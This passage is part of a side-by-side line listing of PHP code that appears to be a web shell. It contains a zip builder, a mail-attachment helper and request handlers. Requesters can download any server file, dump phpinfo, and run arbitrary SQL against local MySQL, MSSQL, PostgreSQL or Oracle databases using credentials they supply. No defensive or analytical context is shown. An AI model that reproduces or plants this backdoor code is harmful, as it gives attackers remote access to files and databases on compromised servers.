| 189 | $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); | 189 | $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); |
| 190 | if ($timearray['year'] < 1980) { | 190 | if ($timearray['year'] < 1980) { |
| 191 | $timearray['year'] = 1980; | 191 | $timearray['year'] = 1980; |
| 192 | $timearray['mon'] = 1; | 192 | $timearray['mon'] = 1; |
| 193 | $timearray['mday'] = 1; | 193 | $timearray['mday'] = 1; |
| 194 | $timearray['hours'] = 0; | 194 | $timearray['hours'] = 0; |
| 195 | $timearray['minutes'] = 0; | 195 | $timearray['minutes'] = 0; |
| 196 | $timearray['seconds'] = 0; | 196 | $timearray['seconds'] = 0; |
| 197 | } | 197 | } |
| 198 | return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | | 198 | return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | |
| 199 | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); | 199 | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); |
| 200 | } | 200 | } |
| 201 | function addFile($data, $name, $time = 0) | 201 | function addFile($data, $name, $time = 0) |
| 202 | { | 202 | { |
| 203 | $name = str_replace('\\', '/', $name); | 203 | $name = str_replace('\\', '/', $name); |
| 204 | $dtime = dechex($this->unix2DosTime($time)); | 204 | $dtime = dechex($this->unix2DosTime($time)); |
| 205 | $hexdtime = '\x' . $dtime[6] . $dtime[7] | 205 | $hexdtime = '\x' . $dtime[6] . $dtime[7] |
| 206 | . '\x' . $dtime[4] . $dtime[5] | 206 | . '\x' . $dtime[4] . $dtime[5] |
| 207 | . '\x' . $dtime[2] . $dtime[3] | 207 | . '\x' . $dtime[2] . $dtime[3] |
| 208 | . '\x' . $dtime[0] . $dtime[1]; | 208 | . '\x' . $dtime[0] . $dtime[1]; |
| 209 | eval('$hexdtime = "' . $hexdtime . '";'); | 209 | eval('$hexdtime = "' . $hexdtime . '";'); |
| 210 | $fr = "\x50\x4b\x03\x04"; | 210 | $fr = "\x50\x4b\x03\x04"; |
| 211 | $fr .= "\x14\x00"; | 211 | $fr .= "\x14\x00"; |
| 212 | $fr .= "\x00\x00"; | 212 | $fr .= "\x00\x00"; |
| 213 | $fr .= "\x08\x00"; | 213 | $fr .= "\x08\x00"; |
| 214 | $fr .= $hexdtime; | 214 | $fr .= $hexdtime; |
| 215 | $unc_len = strlen($data); | 215 | $unc_len = strlen($data); |
| 216 | $crc = crc32($data); | 216 | $crc = crc32($data); |
| 217 | $zdata = gzcompress($data); | 217 | $zdata = gzcompress($data); |
| 218 | $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); | 218 | $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); |
| 219 | $c_len = strlen($zdata); | 219 | $c_len = strlen($zdata); |
| 220 | $fr .= pack('V', $crc); | 220 | $fr .= pack('V', $crc); |
| 221 | $fr .= pack('V', $c_len); | 221 | $fr .= pack('V', $c_len); |
| 222 | $fr .= pack('V', $unc_len); | 222 | $fr .= pack('V', $unc_len); |
| 223 | $fr .= pack('v', strlen($name)); | 223 | $fr .= pack('v', strlen($name)); |
| 224 | $fr .= pack('v', 0); | 224 | $fr .= pack('v', 0); |
| 225 | $fr .= $name; | 225 | $fr .= $name; |
| 226 | $fr .= $zdata; | 226 | $fr .= $zdata; |
| 227 | $this -> datasec[] = $fr; | 227 | $this -> datasec[] = $fr; |
| 228 | $cdrec = "\x50\x4b\x01\x02"; | 228 | $cdrec = "\x50\x4b\x01\x02"; |
| 229 | $cdrec .= "\x00\x00"; | 229 | $cdrec .= "\x00\x00"; |
| 230 | $cdrec .= "\x14\x00"; | 230 | $cdrec .= "\x14\x00"; |
| 231 | $cdrec .= "\x00\x00"; | 231 | $cdrec .= "\x00\x00"; |
| 232 | $cdrec .= "\x08\x00"; | 232 | $cdrec .= "\x08\x00"; |
| 233 | $cdrec .= $hexdtime; | 233 | $cdrec .= $hexdtime; |
| 234 | $cdrec .= pack('V', $crc); | 234 | $cdrec .= pack('V', $crc); |
| 235 | $cdrec .= pack('V', $c_len); | 235 | $cdrec .= pack('V', $c_len); |
| 236 | $cdrec .= pack('V', $unc_len); | 236 | $cdrec .= pack('V', $unc_len); |
| 237 | $cdrec .= pack('v', strlen($name) ); | 237 | $cdrec .= pack('v', strlen($name) ); |
| 238 | $cdrec .= pack('v', 0 ); | 238 | $cdrec .= pack('v', 0 ); |
| 239 | $cdrec .= pack('v', 0 ); | 239 | $cdrec .= pack('v', 0 ); |
| 240 | $cdrec .= pack('v', 0 ); | 240 | $cdrec .= pack('v', 0 ); |
| 241 | $cdrec .= pack('v', 0 ); | 241 | $cdrec .= pack('v', 0 ); |
| 242 | $cdrec .= pack('V', 32 ); | 242 | $cdrec .= pack('V', 32 ); |
| 243 | $cdrec .= pack('V', $this -> old_offset ); | 243 | $cdrec .= pack('V', $this -> old_offset ); |
| 244 | $this -> old_offset += strlen($fr); | 244 | $this -> old_offset += strlen($fr); |
| 245 | $cdrec .= $name; | 245 | $cdrec .= $name; |
| 246 | $this -> ctrl_dir[] = $cdrec; | 246 | $this -> ctrl_dir[] = $cdrec; |
| 247 | } | 247 | } |
| 248 | function file() | 248 | function file() |
| 249 | { | 249 | { |
| 250 | $data = implode('', $this -> datasec); | 250 | $data = implode('', $this -> datasec); |
| 251 | $ctrldir = implode('', $this -> ctrl_dir); | 251 | $ctrldir = implode('', $this -> ctrl_dir); |
| 252 | return | 252 | return |
| 253 | $data . | 253 | $data . |
| 254 | $ctrldir . | 254 | $ctrldir . |
| 255 | $this -> eof_ctrl_dir . | 255 | $this -> eof_ctrl_dir . |
| 256 | pack('v', sizeof($this -> ctrl_dir)) . | 256 | pack('v', sizeof($this -> ctrl_dir)) . |
| 257 | pack('v', sizeof($this -> ctrl_dir)) . | 257 | pack('v', sizeof($this -> ctrl_dir)) . |
| 258 | pack('V', strlen($ctrldir)) . | 258 | pack('V', strlen($ctrldir)) . |
| 259 | pack('V', strlen($data)) . | 259 | pack('V', strlen($data)) . |
| 260 | "\x00\x00"; | 260 | "\x00\x00"; |
| 261 | } | 261 | } |
| 262 | } | 262 | } |
| 263 | function compress(&$filename,&$filedump,$compress) | 263 | function compress(&$filename,&$filedump,$compress) |
| 264 | { | 264 | { |
| 265 | global $content_encoding; | 265 | global $content_encoding; |
| 266 | global $mime_type; | 266 | global $mime_type; |
| 267 | if ($compress == 'bzip' && @function_exists('bzcompress')) | 267 | if ($compress == 'bzip' && @function_exists('bzcompress')) |
| 268 | { | 268 | { |
| 269 | $filename .= '.bz2'; | 269 | $filename .= '.bz2'; |
| 270 | $mime_type = 'application/x-bzip2'; | 270 | $mime_type = 'application/x-bzip2'; |
| 271 | $filedump = bzcompress($filedump); | 271 | $filedump = bzcompress($filedump); |
| 272 | } | 272 | } |
| 273 | else if ($compress == 'gzip' && @function_exists('gzencode')) | 273 | else if ($compress == 'gzip' && @function_exists('gzencode')) |
| 274 | { | 274 | { |
| 275 | $filename .= '.gz'; | 275 | $filename .= '.gz'; |
| 276 | $content_encoding = 'x-gzip'; | 276 | $content_encoding = 'x-gzip'; |
| 277 | $mime_type = 'application/x-gzip'; | 277 | $mime_type = 'application/x-gzip'; |
| 278 | $filedump = gzencode($filedump); | 278 | $filedump = gzencode($filedump); |
| 279 | } | 279 | } |
| 280 | else if ($compress == 'zip' && @function_exists('gzcompress')) | 280 | else if ($compress == 'zip' && @function_exists('gzcompress')) |
| 281 | { | 281 | { |
| 282 | $filename .= '.zip'; | 282 | $filename .= '.zip'; |
| 283 | $mime_type = 'application/zip'; | 283 | $mime_type = 'application/zip'; |
| 284 | $zipfile = new zipfile(); | 284 | $zipfile = new zipfile(); |
| 285 | $zipfile -> addFile($filedump, substr($filename, 0, -4)); | 285 | $zipfile -> addFile($filedump, substr($filename, 0, -4)); |
| 286 | $filedump = $zipfile -> file(); | 286 | $filedump = $zipfile -> file(); |
| 287 | } | 287 | } |
| 288 | else | 288 | else |
| 289 | { | 289 | { |
| 290 | $mime_type = 'application/octet-stream'; | 290 | $mime_type = 'application/octet-stream'; |
| 291 | } | 291 | } |
| 292 | } | 292 | } |
| 293 | function mailattach($to,$from,$subj,$attach) | 293 | function mailattach($to,$from,$subj,$attach) |
| 294 | { | 294 | { |
| 295 | $headers = "From: $from\r\n"; | 295 | $headers = "From: $from\r\n"; |
| 296 | $headers .= "MIME-Version: 1.0\r\n"; | 296 | $headers .= "MIME-Version: 1.0\r\n"; |
| 297 | $headers .= "Content-Type: ".$attach['type']; | 297 | $headers .= "Content-Type: ".$attach['type']; |
| 298 | $headers .= "; name=\"".$attach['name']."\"\r\n"; | 298 | $headers .= "; name=\"".$attach['name']."\"\r\n"; |
| 299 | $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; | 299 | $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; |
| 300 | $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; | 300 | $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; |
| 301 | if(@mail($to,$subj,"",$headers)) { return 1; } | 301 | if(@mail($to,$subj,"",$headers)) { return 1; } |
| 302 | return 0; | 302 | return 0; |
| 303 | } | 303 | } |
| 304 | if(isset($_GET['img'])&&!empty($_GET['img'])) | 304 | if(isset($_GET['img'])&&!empty($_GET['img'])) |
| 305 | { | 305 | { |
| 306 | $images = array(); | 306 | $images = array(); |
| 307 | $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; | 307 | $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; |
| 308 | $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; | 308 | $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; |
| 309 | @ob_clean(); | 309 | @ob_clean(); |
| 310 | header("Content-type: image/gif"); | 310 | header("Content-type: image/gif"); |
| 311 | echo base64_decode($images[$_GET['img']]); | 311 | echo base64_decode($images[$_GET['img']]); |
| 312 | die(); | 312 | die(); |
| 313 | } | 313 | } |
| 314 | if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) | 314 | if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) |
| 315 | { | 315 | { |
| 316 | if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } | 316 | if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } |
| 317 | else | 317 | else |
| 318 | { | 318 | { |
| 319 | @ob_clean(); | 319 | @ob_clean(); |
| 320 | $filename = @basename($_POST['d_name']); | 320 | $filename = @basename($_POST['d_name']); |
| 321 | $filedump = @fread($file,@filesize($_POST['d_name'])); | 321 | $filedump = @fread($file,@filesize($_POST['d_name'])); |
| 322 | fclose($file); | 322 | fclose($file); |
| 323 | $content_encoding=$mime_type=''; | 323 | $content_encoding=$mime_type=''; |
| 324 | compress($filename,$filedump,$_POST['compress']); | 324 | compress($filename,$filedump,$_POST['compress']); |
| 325 | if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } | 325 | if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } |
| 326 | header("Content-type: ".$mime_type); | 326 | header("Content-type: ".$mime_type); |
| 327 | header("Content-disposition: attachment; filename=\"".$filename."\";"); | 327 | header("Content-disposition: attachment; filename=\"".$filename."\";"); |
| 328 | echo $filedump; | 328 | echo $filedump; |
| 329 | exit(); | 329 | exit(); |
| 330 | } | 330 | } |
| 331 | } | 331 | } |
| 332 | if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } | 332 | if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } |
| 333 | if ($_POST['cmd']=="db_query") | 333 | if ($_POST['cmd']=="db_query") |
| 334 | { | 334 | { |
| 335 | echo $head; | 335 | echo $head; |
| 336 | switch($_POST['db']) | 336 | switch($_POST['db']) |
| 337 | { | 337 | { |
| 338 | case 'MySQL': | 338 | case 'MySQL': |
| 339 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } | 339 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } |
| 340 | $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); | 340 | $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); |
| 341 | if($db) | 341 | if($db) |
| 342 | { | 342 | { |
| 343 | if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } | 343 | if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } |
| 344 | $querys = @explode(';',$_POST['db_query']); | 344 | $querys = @explode(';',$_POST['db_query']); |
| 345 | foreach($querys as $num=>$query) | 345 | foreach($querys as $num=>$query) |
| 346 | { | 346 | { |
| 347 | if(strlen($query)>5){ | 347 | if(strlen($query)>5){ |
| 348 | echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; | 348 | echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; |
| 349 | $res = @mysql_query($query,$db); | 349 | $res = @mysql_query($query,$db); |
| 350 | $error = @mysql_error($db); | 350 | $error = @mysql_error($db); |
| 351 | if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } | 351 | if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } |
| 352 | else { | 352 | else { |
| 353 | if (@mysql_num_rows($res) > 0) | 353 | if (@mysql_num_rows($res) > 0) |
| 354 | { | 354 | { |
| 355 | $sql2 = $sql = $keys = $values = ''; | 355 | $sql2 = $sql = $keys = $values = ''; |
| 356 | while (($row = @mysql_fetch_assoc($res))) | 356 | while (($row = @mysql_fetch_assoc($res))) |
| 357 | { | 357 | { |
| 358 | $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row)); | 358 | $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row)); |
| 359 | $values = @array_values($row); | 359 | $values = @array_values($row); |
| 360 | foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} | 360 | foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} |
| 361 | $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values); | 361 | $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values); |
| 362 | $sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>"; | 362 | $sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>"; |
| 363 | } | 363 | } |
| 364 | echo "<table width=100%>"; | 364 | echo "<table width=100%>"; |
| 365 | $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; | 365 | $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; |
| 366 | $sql .= $sql2; | 366 | $sql .= $sql2; |
| 367 | echo $sql; | 367 | echo $sql; |
| 368 | echo "</table><br>"; | 368 | echo "</table><br>"; |
| 369 | } | 369 | } |
| 370 | else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } | 370 | else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } |
| 371 | } | 371 | } |
| 372 | @mysql_free_result($res); | 372 | @mysql_free_result($res); |
| 373 | } | 373 | } |
| 374 | } | 374 | } |
| 375 | @mysql_close($db); | 375 | @mysql_close($db); |
| 376 | } | 376 | } |
| 377 | else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; | 377 | else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; |
| 378 | break; | 378 | break; |
| 379 | case 'MSSQL': | 379 | case 'MSSQL': |
| 380 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } | 380 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } |
| 381 | $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); | 381 | $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); |
| 382 | if($db) | 382 | if($db) |
| 383 | { | 383 | { |
| 384 | if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } | 384 | if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } |
| 385 | $querys = @explode(';',$_POST['db_query']); | 385 | $querys = @explode(';',$_POST['db_query']); |
| 386 | foreach($querys as $num=>$query) | 386 | foreach($querys as $num=>$query) |
| 387 | { | 387 | { |
| 388 | if(strlen($query)>5){ | 388 | if(strlen($query)>5){ |
| 389 | echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; | 389 | echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; |
| 390 | $res = @mssql_query($query,$db); | 390 | $res = @mssql_query($query,$db); |
| 391 | if (@mssql_num_rows($res) > 0) | 391 | if (@mssql_num_rows($res) > 0) |
| 392 | { | 392 | { |
| 393 | $sql2 = $sql = $keys = $values = ''; | 393 | $sql2 = $sql = $keys = $values = ''; |
| 394 | while (($row = @mssql_fetch_assoc($res))) | 394 | while (($row = @mssql_fetch_assoc($res))) |
| 395 | { | 395 | { |
| 396 | $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row)); | 396 | $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row)); |
| 397 | $values = @array_values($row); | 397 | $values = @array_values($row); |
| 398 | foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} | 398 | foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} |
| 399 | $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values); | 399 | $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values); |
| 400 | $sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>"; | 400 | $sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>"; |
| 401 | } | 401 | } |
| 402 | echo "<table width=100%>"; | 402 | echo "<table width=100%>"; |
| 403 | $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; | 403 | $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; |
| 404 | $sql .= $sql2; | 404 | $sql .= $sql2; |
| 405 | echo $sql; | 405 | echo $sql; |
| 406 | echo "</table><br>"; | 406 | echo "</table><br>"; |
| 407 | } | 407 | } |
| 408 | /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ | 408 | /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ |
| 409 | @mssql_free_result($res); | 409 | @mssql_free_result($res); |
| 410 | } | 410 | } |
| 411 | } | 411 | } |
| 412 | @mssql_close($db); | 412 | @mssql_close($db); |
| 413 | } | 413 | } |
| 414 | else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; | 414 | else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; |
| 415 | break; | 415 | break; |
| 416 | case 'PostgreSQL': | 416 | case 'PostgreSQL': |
| 417 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } | 417 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } |
| 418 | $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; | 418 | $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; |
| 419 | $db = @pg_connect($str); | 419 | $db = @pg_connect($str); |
| 420 | if($db) | 420 | if($db) |
| 421 | { | 421 | { |
| 422 | $querys = @explode(';',$_POST['db_query']); | 422 | $querys = @explode(';',$_POST['db_query']); |
| 423 | foreach($querys as $num=>$query) | 423 | foreach($querys as $num=>$query) |
| 424 | { | 424 | { |
| 425 | if(strlen($query)>5){ | 425 | if(strlen($query)>5){ |
| 426 | echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; | 426 | echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; |
| 427 | $res = @pg_query($db,$query); | 427 | $res = @pg_query($db,$query); |
| 428 | $error = @pg_errormessage($db); | 428 | $error = @pg_errormessage($db); |
| 429 | if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } | 429 | if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } |
| 430 | else { | 430 | else { |
| 431 | if (@pg_num_rows($res) > 0) | 431 | if (@pg_num_rows($res) > 0) |
| 432 | { | 432 | { |
| 433 | $sql2 = $sql = $keys = $values = ''; | 433 | $sql2 = $sql = $keys = $values = ''; |
| 434 | while (($row = @pg_fetch_assoc($res))) | 434 | while (($row = @pg_fetch_assoc($res))) |
| 435 | { | 435 | { |
| 436 | $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row)); | 436 | $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row)); |
| 437 | $values = @array_values($row); | 437 | $values = @array_values($row); |
| 438 | foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} | 438 | foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} |
| 439 | $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values); | 439 | $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values); |
| 440 | $sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>"; | 440 | $sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>"; |
| 441 | } | 441 | } |
| 442 | echo "<table width=100%>"; | 442 | echo "<table width=100%>"; |
| 443 | $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; | 443 | $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; |
| 444 | $sql .= $sql2; | 444 | $sql .= $sql2; |
| 445 | echo $sql; | 445 | echo $sql; |
| 446 | echo "</table><br>"; | 446 | echo "</table><br>"; |
| 447 | } | 447 | } |
| 448 | else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } | 448 | else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } |
| 449 | } | 449 | } |
| 450 | @pg_free_result($res); | 450 | @pg_free_result($res); |
| 451 | } | 451 | } |
| 452 | } | 452 | } |
| 453 | @pg_close($db); | 453 | @pg_close($db); |
| 454 | } | 454 | } |
| 455 | else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; | 455 | else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; |
| 456 | break; | 456 | break; |
| 457 | case 'Oracle': | 457 | case 'Oracle': |
| 458 | $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); | 458 | $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); |
| 459 | if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } | 459 | if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } |
| 460 | else | 460 | else |
| 461 | { | 461 | { |
| 462 | $querys = @explode(';',$_POST['db_query']); | 462 | $querys = @explode(';',$_POST['db_query']); |
| 463 | foreach($querys as $num=>$query) | 463 | foreach($querys as $num=>$query) |
| 464 | { | 464 | { |
| 465 | if(strlen($query)>5) { | 465 | if(strlen($query)>5) { |
| 466 | echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; | 466 | echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; |
| 467 | $stat = @ociparse($db, $query); | 467 | $stat = @ociparse($db, $query); |
| 468 | @ociexecute($stat); | 468 | @ociexecute($stat); |
| 469 | if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } | 469 | if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } |
| 470 | else | 470 | else |
| 471 | { | 471 | { |
| 472 | $rowcount = @ocirowcount($stat); | 472 | $rowcount = @ocirowcount($stat); |
| 473 | if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} | 473 | if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} |
| 474 | else { | 474 | else { |
| 475 | echo "<table width=100%><tr>"; | 475 | echo "<table width=100%><tr>"; |
| 476 | for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b> ".htmlspecialchars(@ocicolumnname($stat, $j))." </b></font></td>"; } | 476 | for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b> ".htmlspecialchars(@ocicolumnname($stat, $j))." </b></font></td>"; } |
| 477 | echo "</tr>"; | 477 | echo "</tr>"; |
| 478 | while(ocifetch($stat)) | 478 | while(ocifetch($stat)) |
| 479 | { | 479 | { |
| 480 | echo "<tr>"; | 480 | echo "<tr>"; |
| 481 | for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2> ".htmlspecialchars(@ociresult($stat, $j))." </font></td>"; } | 481 | for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2> ".htmlspecialchars(@ociresult($stat, $j))." </font></td>"; } |
| 482 | echo "</tr>"; | 482 | echo "</tr>"; |
| 483 | } | 483 | } |
| 484 | echo "</table><br>"; | 484 | echo "</table><br>"; |
| 485 | } | 485 | } |
| 486 | @ocifreestatement($stat); | 486 | @ocifreestatement($stat); |
| 487 | } | 487 | } |
| 488 | } | 488 | } |
| 489 | } | 489 | } |
| 490 | @ocilogoff($db); | 490 | @ocilogoff($db); |
| 491 | } | 491 | } |
| 492 | break; | 492 | break; |
| 493 | } | 493 | } |
| 494 | echo "<form name=form method=POST>"; | 494 | echo "<form name=form method=POST>"; |
| 495 | echo in('hidden','db',0,$_POST['db']); | 495 | echo in('hidden','db',0,$_POST['db']); |
| 496 | echo in('hidden','db_port',0,$_POST['db_port']); | 496 | echo in('hidden','db_port',0,$_POST['db_port']); |
| 497 | echo in('hidden','mysql_l',0,$_POST['mysql_l']); | 497 | echo in('hidden','mysql_l',0,$_POST['mysql_l']); |
| 498 | echo in('hidden','mysql_p',0,$_POST['mysql_p']); | 498 | echo in('hidden','mysql_p',0,$_POST['mysql_p']); |
| 499 | echo in('hidden','mysql_db',0,$_POST['mysql_db']); | 499 | echo in('hidden','mysql_db',0,$_POST['mysql_db']); |
| 500 | echo in('hidden','cmd',0,'db_query'); | 500 | echo in('hidden','cmd',0,'db_query'); |
